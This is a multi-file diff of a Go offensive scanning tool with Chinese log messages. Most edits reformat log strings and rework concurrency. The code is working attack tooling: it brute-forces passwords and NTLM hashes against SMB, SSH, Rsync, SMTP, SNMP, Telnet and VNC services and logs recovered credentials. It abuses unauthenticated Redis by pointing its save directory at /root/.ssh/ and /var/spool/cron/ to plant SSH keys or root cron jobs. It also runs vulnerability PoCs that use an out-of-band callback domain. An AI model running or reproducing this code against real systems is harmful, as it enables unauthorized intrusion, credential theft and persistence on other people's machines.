Common.LogSuccess(fmt.Sprintf("Redis %v 成功写入 /var/spool/cron/root", realhost))
} else {
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text))
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text))
}
}
}
// 恢复数据库配置
if err = recoverdb(dbfilename, dir, conn); err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
}
return err
@ -328,11 +328,11 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
// 读取密钥文件
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err)
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename)
text = fmt.Sprintf("密钥文件 %s 为空", filename)
return flag, text, err
}
@ -414,7 +414,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
// 解析目标主机地址
target := strings.Split(host, ":")
if len(target) < 2 {
return flag, "[-] 主机地址格式错误", err
return flag, "主机地址格式错误", err
}
scanIp, scanPort := target[0], target[1]
@ -495,40 +495,40 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
fmt.Println("[*] 正在测试 /root/.ssh/ 目录写入权限...")
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
fmt.Printf("[-] 发送SSH目录测试命令失败: %v\n", err)
fmt.Printf("发送SSH目录测试命令失败: %v\n", err)
return flag, flagCron, err
}
text, err := readreply(conn)
if err != nil {
fmt.Printf("[-] 读取SSH目录测试响应失败: %v\n", err)
fmt.Printf("读取SSH目录测试响应失败: %v\n", err)
return flag, flagCron, err
}
fmt.Printf("[*] SSH目录测试响应: %s\n", text)
if strings.Contains(text, "OK") {
flag = true
fmt.Println("[+] SSH目录写入权限测试成功")
fmt.Println("SSH目录写入权限测试成功")
} else {
fmt.Println("[-] SSH目录写入权限测试失败")
fmt.Println("SSH目录写入权限测试失败")
}
// 测试定时任务目录写入权限
fmt.Println("[*] 正在测试 /var/spool/cron/ 目录写入权限...")
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
fmt.Printf("[-] 发送定时任务目录测试命令失败: %v\n", err)
fmt.Printf("发送定时任务目录测试命令失败: %v\n", err)
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
fmt.Printf("[-] 读取定时任务目录测试响应失败: %v\n", err)
fmt.Printf("读取定时任务目录测试响应失败: %v\n", err)
return flag, flagCron, err
}
fmt.Printf("[*] 定时任务目录测试响应: %s\n", text)
if strings.Contains(text, "OK") {
flagCron = true
fmt.Println("[+] 定时任务目录写入权限测试成功")
fmt.Println("定时任务目录写入权限测试成功")
} else {
fmt.Println("[-] 定时任务目录写入权限测试失败")
fmt.Println("定时任务目录写入权限测试失败")
}
fmt.Printf("[*] 写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron)

View File

@ -102,7 +102,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -242,7 +242,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) {
if strings.Contains(authResponse, "@RSYNCD: OK") {
// 模块不需要认证
if user == "" && pass == "" {
result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName)
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName)
Common.LogSuccess(result)
return true, nil
}
@ -264,7 +264,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) {
}
if !strings.Contains(string(buffer[:n]), "@ERROR") {
result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v",
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v",
host, port, moduleName, user, pass)
Common.LogSuccess(result)
return true, nil

View File

@ -15,67 +15,86 @@ func SmbScan(info *Common.HostInfo) (tmperr error) {
}
threads := Common.BruteThreads
totalTasks := len(Common.Userdict["smb"]) * len(Common.Passwords)
taskChan := make(chan struct {
user string
pass string
}, totalTasks)
// 生成任务
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
taskChan <- struct {
user string
pass string
}{user, pass}
}
}
close(taskChan)
var wg sync.WaitGroup
successChan := make(chan struct{}, 1)
// 启动工作线程
// 按用户分组处理
for _, user := range Common.Userdict["smb"] {
taskChan := make(chan string, len(Common.Passwords))
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
taskChan <- pass
}
close(taskChan)
for i := 0; i < threads; i++ {
wg.Add(1)
go func() {
go func(username string) {
defer wg.Done()
for task := range taskChan {
for pass := range taskChan {
select {
case <-successChan:
return
default:
}
success, err := doWithTimeOut(info, task.user, task.pass)
success, err := doWithTimeOut(info, username, pass)
if success {
if Common.Domain != "" {
Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v",
info.Host, info.Ports, Common.Domain, task.user, task.pass))
Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s\\%s:%s",
info.Host, info.Ports, Common.Domain, username, pass))
} else {
Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v User:%v Pass:%v",
info.Host, info.Ports, task.user, task.pass))
Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s:%s",
info.Host, info.Ports, username, pass))
}
successChan <- struct{}{}
// 成功后等待确保日志打印完成
time.Sleep(500 * time.Millisecond)
return
}
if err != nil {
Common.LogError(fmt.Sprintf("[-] SMB认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, task.user, task.pass, err))
Common.LogError(fmt.Sprintf("SMB认证失败 %s:%s %s:%s %v",
info.Host, info.Ports, username, pass, err))
// 等待失败日志打印完成
time.Sleep(100 * time.Millisecond)
if strings.Contains(err.Error(), "账号锁定") {
for range taskChan {
// 清空通道
}
time.Sleep(200 * time.Millisecond) // 确保锁定日志打印完成
return
}
}
}()
}
}(user)
}
wg.Wait()
select {
case <-successChan:
// 等待日志打印完成
time.Sleep(500 * time.Millisecond)
Common.LogWG.Wait()
return nil
default:
}
}
// 主函数结束前多等待一会
time.Sleep(500 * time.Millisecond)
Common.LogWG.Wait()
// 最后再等待一下,确保所有日志都打印完成
time.Sleep(500 * time.Millisecond)
return nil
}
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
options := smb.Options{
Host: info.Host,
Port: 445,
@ -89,10 +108,9 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc
if err == nil {
defer session.Close()
if session.IsAuthenticated {
flag = true
return flag, nil
return true, nil
}
return flag, fmt.Errorf("认证失败")
return false, fmt.Errorf("认证失败")
}
// 清理错误信息中的换行符和多余空格
@ -100,24 +118,24 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc
if strings.Contains(errMsg, "NT Status Error") {
switch {
case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"):
err = fmt.Errorf("用户名或密码错误")
err = fmt.Errorf("密码错误")
case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"):
err = fmt.Errorf("账号锁定")
err = fmt.Errorf("账号锁定")
case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"):
err = fmt.Errorf("访问被拒绝")
err = fmt.Errorf("拒绝访问")
case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"):
err = fmt.Errorf("账号禁用")
err = fmt.Errorf("账号禁用")
case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"):
err = fmt.Errorf("密码过期")
err = fmt.Errorf("密码过期")
case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"):
return flag, fmt.Errorf("会话断开")
return false, fmt.Errorf("会话断开")
default:
err = fmt.Errorf("认证失败") // 简化错误信息
err = fmt.Errorf("认证失败")
}
}
signal <- struct{}{}
return flag, err
return false, err
}
func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
@ -142,7 +160,6 @@ func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool,
case r := <-result:
return r.success, r.err
case <-time.After(time.Duration(Common.Timeout) * time.Second):
// 尝试从result通道读取避免协程泄露
select {
case r := <-result:
return r.success, r.err

View File

@ -27,190 +27,155 @@ func SmbScan2(info *Common.HostInfo) (tmperr error) {
return smbPasswordScan(info)
}
// smbHashScan 使用哈希进行认证扫描
func smbHashScan(info *Common.HostInfo) error {
maxRetries := Common.MaxRetries
threads := Common.BruteThreads
hasprint := false
// 创建任务通道
taskChan := make(chan struct {
user string
hash []byte
}, len(Common.Userdict["smb"])*len(Common.HashBytes))
resultChan := make(chan error, threads)
// 生成所有用户名和哈希组合任务
for _, user := range Common.Userdict["smb"] {
for _, hash := range Common.HashBytes {
taskChan <- struct {
user string
hash []byte
}{user, hash}
}
}
close(taskChan)
// 启动工作线程
var wg sync.WaitGroup
var hasPrintMutex sync.Mutex
for i := 0; i < threads; i++ {
wg.Add(1)
go func() {
defer wg.Done()
startTime := time.Now().Unix()
for task := range taskChan {
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
// 检查是否超时
if time.Now().Unix()-startTime > int64(Common.Timeout) {
resultChan <- fmt.Errorf("扫描超时")
return
}
// 执行SMB2认证
done := make(chan struct {
success bool
err error
printed bool
})
go func(user string, hash []byte) {
hasPrintMutex.Lock()
currentHasPrint := hasprint
hasPrintMutex.Unlock()
success, err, printed := Smb2Con(info, user, "", hash, currentHasPrint)
if printed {
hasPrintMutex.Lock()
hasprint = true
hasPrintMutex.Unlock()
}
done <- struct {
success bool
err error
printed bool
}{success, err, printed}
}(task.user, task.hash)
// 等待结果或超时
select {
case result := <-done:
if result.success {
logSuccessfulAuth(info, task.user, "", task.hash)
resultChan <- nil
return
}
if result.err != nil {
logFailedAuth(info, task.user, "", task.hash, result.err)
// 检查是否需要重试
if retryErr := Common.CheckErrs(result.err); retryErr != nil {
if retryCount == maxRetries-1 {
resultChan <- result.err
return
}
continue // 继续重试
}
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
logFailedAuth(info, task.user, "", task.hash, fmt.Errorf("连接超时"))
}
break // 如果不需要重试,跳出重试循环
}
if len(Common.HashValue) > 0 {
break
}
}
resultChan <- nil
}()
}
// 等待所有线程完成
go func() {
wg.Wait()
close(resultChan)
}()
// 检查结果
for err := range resultChan {
if err != nil {
if retryErr := Common.CheckErrs(err); retryErr != nil {
return err
}
}
}
// smbPasswordScan 使用密码进行认证扫描
func smbPasswordScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
// smbPasswordScan 使用密码进行认证扫描
func smbPasswordScan(info *Common.HostInfo) error {
maxRetries := Common.MaxRetries
threads := Common.BruteThreads
var wg sync.WaitGroup
successChan := make(chan struct{}, 1)
hasprint := false
var hasPrintMutex sync.Mutex
// 创建任务通道
taskChan := make(chan struct {
user string
pass string
}, len(Common.Userdict["smb"])*len(Common.Passwords))
resultChan := make(chan error, threads)
// 生成所有用户名密码组合任务
// 改成按用户分组处理
for _, user := range Common.Userdict["smb"] {
// 为每个用户创建密码任务通道
taskChan := make(chan string, len(Common.Passwords))
// 生成该用户的所有密码任务
for _, pass := range Common.Passwords {
pass = strings.ReplaceAll(pass, "{user}", user)
taskChan <- struct {
user string
pass string
}{user, pass}
}
taskChan <- pass
}
close(taskChan)
// 启动工作线程
var wg sync.WaitGroup
var hasPrintMutex sync.Mutex
for i := 0; i < threads; i++ {
wg.Add(1)
go func() {
go func(username string) {
defer wg.Done()
startTime := time.Now().Unix()
for task := range taskChan {
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
// 检查是否超时
if time.Now().Unix()-startTime > int64(Common.Timeout) {
resultChan <- fmt.Errorf("扫描超时")
for pass := range taskChan {
select {
case <-successChan:
return
default:
time.Sleep(100 * time.Millisecond)
}
// 执行SMB2认证
done := make(chan struct {
success bool
err error
printed bool
})
go func(user, pass string) {
// 重试循环
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
hasPrintMutex.Lock()
currentHasPrint := hasprint
hasPrintMutex.Unlock()
success, err, printed := Smb2Con(info, user, pass, []byte{}, currentHasPrint)
success, err, printed := Smb2Con(info, username, pass, []byte{}, currentHasPrint)
if printed {
hasPrintMutex.Lock()
hasprint = true
hasPrintMutex.Unlock()
time.Sleep(100 * time.Millisecond)
}
if success {
logSuccessfulAuth(info, username, pass, []byte{})
time.Sleep(100 * time.Millisecond)
successChan <- struct{}{}
return
}
if err != nil {
logFailedAuth(info, username, pass, []byte{}, err)
time.Sleep(100 * time.Millisecond)
// 检查是否账户锁定
if strings.Contains(err.Error(), "user account has been automatically locked") {
// 发现账户锁定,清空任务通道并返回
for range taskChan {
// 清空通道
}
return
}
// 其他登录失败情况
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
strings.Contains(err.Error(), "Authentication failed") ||
strings.Contains(err.Error(), "attempted logon is invalid") ||
strings.Contains(err.Error(), "bad username or authentication") {
break
}
if retryCount < Common.MaxRetries-1 {
time.Sleep(time.Second * time.Duration(retryCount+2))
continue
}
}
break
}
}
}(user)
}
wg.Wait() // 等待当前用户的所有密码尝试完成
// 检查是否已经找到正确密码
select {
case <-successChan:
return nil
default:
}
}
time.Sleep(200 * time.Millisecond)
return nil
}
func smbHashScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
threads := Common.BruteThreads
var wg sync.WaitGroup
successChan := make(chan struct{}, 1)
hasprint := false
var hasPrintMutex sync.Mutex
// 按用户分组处理
for _, user := range Common.Userdict["smb"] {
// 为每个用户创建hash任务通道
taskChan := make(chan []byte, len(Common.HashBytes))
// 生成该用户的所有hash任务
for _, hash := range Common.HashBytes {
taskChan <- hash
}
close(taskChan)
// 启动工作线程
for i := 0; i < threads; i++ {
wg.Add(1)
go func(username string) {
defer wg.Done()
for hash := range taskChan {
select {
case <-successChan:
return
default:
}
// 重试循环
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
hasPrintMutex.Lock()
currentHasPrint := hasprint
hasPrintMutex.Unlock()
success, err, printed := Smb2Con(info, username, "", hash, currentHasPrint)
if printed {
hasPrintMutex.Lock()
@ -218,62 +183,50 @@ func smbPasswordScan(info *Common.HostInfo) error {
hasPrintMutex.Unlock()
}
done <- struct {
success bool
err error
printed bool
}{success, err, printed}
}(task.user, task.pass)
// 等待结果或超时
select {
case result := <-done:
if result.success {
logSuccessfulAuth(info, task.user, task.pass, []byte{})
resultChan <- nil
if success {
logSuccessfulAuth(info, username, "", hash)
successChan <- struct{}{}
return
}
if result.err != nil {
logFailedAuth(info, task.user, task.pass, []byte{}, result.err)
if err != nil {
logFailedAuth(info, username, "", hash, err)
// 检查是否需要重试
if retryErr := Common.CheckErrs(result.err); retryErr != nil {
if retryCount == maxRetries-1 {
resultChan <- result.err
// 检查是否账户锁定
if strings.Contains(err.Error(), "user account has been automatically locked") {
// 发现账户锁定,清空任务通道并返回
for range taskChan {
// 清空通道
}
return
}
continue // 继续重试
}
// 其他登录失败情况
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
strings.Contains(err.Error(), "Authentication failed") ||
strings.Contains(err.Error(), "attempted logon is invalid") ||
strings.Contains(err.Error(), "bad username or authentication") {
break
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
logFailedAuth(info, task.user, task.pass, []byte{}, fmt.Errorf("连接超时"))
if retryCount < Common.MaxRetries-1 {
time.Sleep(time.Second * time.Duration(retryCount+1))
continue
}
break // 如果不需要重试,跳出重试循环
}
if len(Common.HashValue) > 0 {
break
}
}
resultChan <- nil
}()
}(user)
}
// 等待所有线程完成
go func() {
wg.Wait()
close(resultChan)
}()
wg.Wait() // 等待当前用户的所有hash尝试完成
// 检查结果
for err := range resultChan {
if err != nil {
if retryErr := Common.CheckErrs(err); retryErr != nil {
return err
}
// 检查是否已经找到正确凭据
select {
case <-successChan:
return nil
default:
}
}
@ -284,17 +237,17 @@ func smbPasswordScan(info *Common.HostInfo) error {
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[+] SMB2认证成功 %v:%v Domain:%v\\%v ",
result = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s",
info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[+] SMB2认证成功 %v:%v User:%v ",
result = fmt.Sprintf("SMB2认证成功 %s:%s %s",
info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += fmt.Sprintf("HashValue:%v", Common.HashValue)
result += fmt.Sprintf(" Hash:%s", Common.HashValue)
} else {
result += fmt.Sprintf("Pass:%v", pass)
result += fmt.Sprintf(" Pass:%s", pass)
}
Common.LogSuccess(result)
}
@ -303,10 +256,10 @@ func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
var errlog string
if len(hash) > 0 {
errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v HashValue:%v Err:%v",
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v",
info.Host, info.Ports, user, Common.HashValue, err)
} else {
errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v",
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v",
info.Host, info.Ports, user, pass, err)
}
errlog = strings.ReplaceAll(errlog, "\n", " ")
@ -379,24 +332,20 @@ func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, haspr
// logShareInfo 记录SMB共享信息
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
var result string
// 构建基础信息
if Common.Domain != "" {
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ",
result = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s",
info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ",
result = fmt.Sprintf("SMB2共享信息 %s:%s %s",
info.Host, info.Ports, user)
}
// 添加认证信息
if len(hash) > 0 {
result += fmt.Sprintf("HashValue:%v ", Common.HashValue)
result += fmt.Sprintf(" Hash:%s", Common.HashValue)
} else {
result += fmt.Sprintf("Pass:%v ", pass)
result += fmt.Sprintf(" Pass:%s", pass)
}
// 添加共享列表
result += fmt.Sprintf("可用共享: %v", shares)
Common.LogSuccess(result)
result += fmt.Sprintf(" 共享:%v", shares)
Common.LogInfo(result)
}

View File

@ -102,7 +102,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -180,7 +180,7 @@ func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) {
}
// 如果成功
result := fmt.Sprintf("[+] SMTP服务 %v:%v ", host, port)
result := fmt.Sprintf("SMTP服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {

View File

@ -71,7 +71,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
err = result.err
if result.success && err == nil {
// 连接成功
successLog := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v 连接成功",
successLog := fmt.Sprintf("SNMP服务 %v:%v community: %v 连接成功",
info.Host, info.Ports, community)
Common.LogSuccess(successLog)
resultChan <- nil
@ -83,7 +83,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] SNMP服务 %v:%v 尝试失败 community: %v 错误: %v",
errlog := fmt.Sprintf("SNMP服务 %v:%v 尝试失败 community: %v 错误: %v",
info.Host, info.Ports, community, err)
Common.LogError(errlog)
@ -150,7 +150,7 @@ func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, er
}
if len(result.Variables) > 0 {
success := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v",
success := fmt.Sprintf("SNMP服务 %v:%v community: %v",
host, portNum, community) // 使用portNum替换port
if result.Variables[0].Type != gosnmp.NoSuchObject {

View File

@ -71,7 +71,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
}
if err != nil {
errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
errlog := fmt.Sprintf("SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -120,12 +120,12 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
if Common.SshKeyPath != "" {
pemBytes, err := ioutil.ReadFile(Common.SshKeyPath)
if err != nil {
return false, fmt.Errorf("[-] 读取密钥失败: %v", err)
return false, fmt.Errorf("读取密钥失败: %v", err)
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, fmt.Errorf("[-] 解析密钥失败: %v", err)
return false, fmt.Errorf("解析密钥失败: %v", err)
}
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
@ -161,18 +161,18 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
return true, err
}
if Common.SshKeyPath != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v",
Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, string(output)))
} else {
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
info.Host, info.Ports, user, pass, string(output)))
}
} else {
if Common.SshKeyPath != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v",
Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v",
info.Host, info.Ports))
} else {
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v",
Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v",
info.Host, info.Ports, user, pass))
}
}

View File

@ -81,14 +81,14 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
err = result.err
if result.noAuth {
// 无需认证
result := fmt.Sprintf("[+] Telnet服务 %v:%v 无需认证",
result := fmt.Sprintf("Telnet服务 %v:%v 无需认证",
info.Host, info.Ports)
Common.LogSuccess(result)
resultChan <- nil
return
} else if result.success {
// 成功爆破
result := fmt.Sprintf("[+] Telnet服务 %v:%v 用户名:%v 密码:%v",
result := fmt.Sprintf("Telnet服务 %v:%v 用户名:%v 密码:%v",
info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(result)
resultChan <- nil
@ -100,7 +100,7 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v",
errlog := fmt.Sprintf("Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)

View File

@ -67,7 +67,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
err = result.err
if result.success && err == nil {
// 连接成功
successLog := fmt.Sprintf("[+] %s://%v:%v 密码: %v",
successLog := fmt.Sprintf("%s://%v:%v 密码: %v",
modename, info.Host, info.Ports, pass)
Common.LogSuccess(successLog)
resultChan <- nil
@ -79,7 +79,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] %s://%v:%v 尝试密码: %v 错误: %v",
errlog := fmt.Sprintf("%s://%v:%v 尝试密码: %v 错误: %v",
modename, info.Host, info.Ports, pass, err)
Common.LogError(errlog)

View File

@ -35,7 +35,7 @@ func WebTitle(info *Common.HostInfo) error {
if !Common.DisablePoc && err == nil {
WebScan.WebScan(info)
} else {
errlog := fmt.Sprintf("[-] 网站标题 %v %v", info.Url, err)
errlog := fmt.Sprintf("网站标题 %v %v", info.Url, err)
Common.LogError(errlog)
}
@ -185,7 +185,7 @@ func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
}
// 输出结果
result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
result := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" {
result += fmt.Sprintf(" 重定向地址: %s", reurl)
@ -297,7 +297,7 @@ func GetProtocol(host string, Timeout int64) (protocol string) {
if conn != nil {
defer func() {
if err := recover(); err != nil {
Common.LogError(err)
Common.LogError(fmt.Sprintf("连接关闭时发生错误: %v", err))
}
}()
conn.Close()

View File

@ -44,15 +44,10 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
for i := 0; i < workers; i++ {
go func() {
for task := range tasks {
// 执行POC检测
isVulnerable, details, vulName := executePoc(task.Req, task.Poc)
if isVulnerable {
// 格式化输出结果
result := fmt.Sprintf("[+] [发现漏洞] 目标: %s\n"+
" 漏洞类型: %s\n"+
" 漏洞名称: %s\n"+
" 详细信息: %s",
result := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息: %s",
task.Req.URL,
task.Poc.Name,
vulName,
@ -101,13 +96,13 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
// 创建执行环境
env, err := NewEnv(&config)
if err != nil {
return false, fmt.Errorf("[-] 创建%s的执行环境失败: %v", p.Name, err), ""
return false, fmt.Errorf("执行环境错误 %s: %v", p.Name, err), ""
}
// 解析请求
req, err := ParseRequest(oReq)
if err != nil {
return false, fmt.Errorf("[-] 解析%s的请求失败: %v", p.Name, err), ""
return false, fmt.Errorf("请求解析错误 %s: %v", p.Name, err), ""
}
// 初始化变量映射
@ -126,7 +121,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
continue
}
if err, _ = evalset(env, variableMap, key, expression); err != nil {
Common.LogError(fmt.Sprintf("[-] 执行%s的设置项失败: %v", p.Name, err))
Common.LogError(fmt.Sprintf("设置项执行错误 %s: %v", p.Name, err))
}
}
@ -167,14 +162,14 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
}
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
// 创建新请求
// 创建新请求
newRequest, err := http.NewRequest(
rule.Method,
fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))),
strings.NewReader(rule.Body),
)
if err != nil {
return false, fmt.Errorf("创建新请求失败: %v", err)
return false, fmt.Errorf("请求创建错误: %v", err)
}
// 设置请求头
@ -247,8 +242,9 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
func doSearch(re string, body string) map[string]string {
// 编译正则表达式
r, err := regexp.Compile(re)
// 正则表达式编译
if err != nil {
Common.LogError(fmt.Sprintf("正则表达式编译失败: %v", err))
Common.LogError(fmt.Sprintf("正则编译错误: %v", err))
return nil
}
@ -323,8 +319,9 @@ func newReverse() *Reverse {
// 构建URL
urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain)
u, err := url.Parse(urlStr)
// 解析反连URL
if err != nil {
Common.LogError(fmt.Sprintf("解析反连URL失败: %v", err))
Common.LogError(fmt.Sprintf("反连URL解析错误: %v", err))
return &Reverse{}
}
@ -463,13 +460,11 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
if success {
// 处理成功情况
if currentRule.Continue {
// 特殊POC的输出处理
targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s",
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s", targetURL, p.Name))
} else {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v",
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, currentParams))
Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, currentParams))
}
continue
}
@ -477,8 +472,8 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
// 记录成功的参数组合
strMap = append(strMap, currentParams...)
if ruleIndex == len(p.Rules)-1 {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v",
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
